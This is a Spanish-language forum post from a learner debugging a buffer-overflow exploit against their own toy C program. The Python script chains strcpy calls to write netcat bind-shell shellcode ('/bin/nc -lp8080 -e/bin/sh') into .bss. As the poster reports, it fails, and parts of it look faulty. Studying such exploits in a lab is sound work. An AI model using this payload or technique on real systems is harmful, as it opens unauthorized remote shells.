entonces, tengo el siguiente problema. Digamos, tengo un programa vulnerable simple, como este:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void vuln_function(char *);
int main(int argc, char *argv[])
{
if(argc != 2)
{
printf("Arg needed...\n");
exit(1);
}
vuln_function(argv[1]);
return 0;
}
void vuln_function(char *buff)
{
char buffer[64];
strcpy(buffer, buff);
printf("Out: %s\n", buffer);
}
Pasaje vulnerable - strcpy (buffer, buff); , explotando a través de argv [1], nada nuevo.
Pero digamos, no puedo exportar shellcode en environment @ porque me gustaría aprender sobre otros lugares, donde puedo poner shellcode. Una de las opciones posibles para ocultar el código de shell es .bss o .data section, lo he comprobado con readelf.
[25] .data PROGBITS 08049928 000928 000008 00 WA 0 0 4
[26] .bss NOBITS 080497a4 000930 000004 00 WA 0 0 1
Con este hecho, decidí usar la sección .bss, donde me gustaría colocar mi código de shell. Estoy usando netcat shellcode - 75 bytes, puede encontrarlo aquí:
A continuación, algunas funciones y sus direcciones que necesitaba eran strcpy () y pop-pop-ret
strcpy = 0x08048370
ppr = 0x08048587
Ahora, cuando tengo todo lo importante, escribí exploit ...
#!/usr/bin/env python
#
# 0x080497a4 - bss
# 0x08048370 - strcpy
# 0x08048587 - pop/pop/ret
#
from struct import pack
import subprocess, sys
junk = "A" * 76
strcpy = 0x08048370
ppr = 0x08048587
payload = junk
payload += strcpy
payload += ppr
payload += pack("<L", 0x080497a4) # bss
payload += "\xeb\x2a\x5e\x31"
payload += strcpy
payload += ppr
payload += pack("<L", 0x80497a8) # + 4
payload += "\xc0\x88\x46\x07"
payload += strcpy
payload += ppr
payload += pack("<L", 0x80497ac) # + 8
payload += "\x88\x46\x0f\x88"
payload += strcpy
payload += ppr
payload += pack("<L", 0x80497b0) # + 12
payload += "\x46\x19\x89\x76"
payload += strcpy
payload += ppr
payload += pack("<L", 0x80497b4) # + 16
payload += "\x1a\x8d\x5e\x08"
payload += strcpy
payload += ppr
payload += pack("<L", 0x80497b8)
payload += "\x89\x5e\x1e\x8d"
payload += strcpy
payload += ppr
payload += pack("<L", 0x80497bc)
payload += "\x5e\x10\x89\x5e"
payload += strcpy
payload += ppr
payload += pack("<L", 0x80497c0)
payload += "\x22\x89\x46\x26"
payload += strcpy
payload += ppr
payload += pack("<L", 0x80497c4)
payload += "\xb0\x0b\x89\xf3"
payload += strcpy
payload += ppr
payload += pack("<L", 0x80497c8)
payload += "\x8d\x4e\x1a\x8d"
payload += strcpy
payload += ppr
payload += pack("<L", 0x80497cc)
payload += "\x56\x26\xcd\x80"
payload += strcpy
payload += ppr
payload += pack("<L", 0x80497d0)
payload += "\xe8\xd1\xff\xff"
payload += strcpy
payload += ppr
payload += pack("<L", 0x80497d4)
payload += "\xff\x2f\x62\x69"
payload += strcpy
payload += ppr
payload += pack("<L", 0x80497d8)
payload += "\x6e\x2f\x6e\x63"
payload += strcpy
payload += ppr
payload += pack("<L", 0x80497dc)
payload += "\x23\x2d\x6c\x70"
payload += strcpy
payload += ppr
payload += pack("<L", 0x80497e0)
payload += "\x38\x30\x38\x30"
payload += strcpy
payload += ppr
payload += pack("<L", 0x80497e4)
payload += "\x23\x2d\x65\x2f"
payload += strcpy
payload += ppr
payload += pack("<L", 0x80497e8)
payload += "\x62\x69\x6e\x2f"
payload += strcpy
payload += ppr
payload += pack("<L", 0x80497ec)
payload += "\x73\x68\x23\x90"
payload += pack("<L", 0x080497a4)
print("[+] Running exploit...")
subprocess.call(["./a.out", payload])
Agregué el byte "\ x90" al final del shellcode, para que sea de 76 bytes y también puse 4 bytes por 4 bytes en .bss y después de cada 4 bytes de sc, agregué + 4 bytes a la dirección de .bss
Pensando, la dirección final de .bss debería contener netcat shellcode, lo he ejecutado, pero todo lo que obtuve fue esto -
[+] Running exploit...
Out: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp������*^1p�������Fp������F�p�����F�vp������p������^�p�����^�^p�����"�F&p������
��p������N�p�����V&��p���������p������/bip�����n/ncp�����#-lpp�����8080p�����#-e/p�����bin/p�����sh#���
Todas las protecciones están deshabilitadas. He pasado un tiempo por encima de eso, pero no puedo encontrar, qué pasa.
Si alguno de ustedes puede darme una pista o mostrarme dónde fallé, hágamelo saber, por favor, me alegro de aprender algo nuevo y evitar errores innecesarios. Gracias de antemano!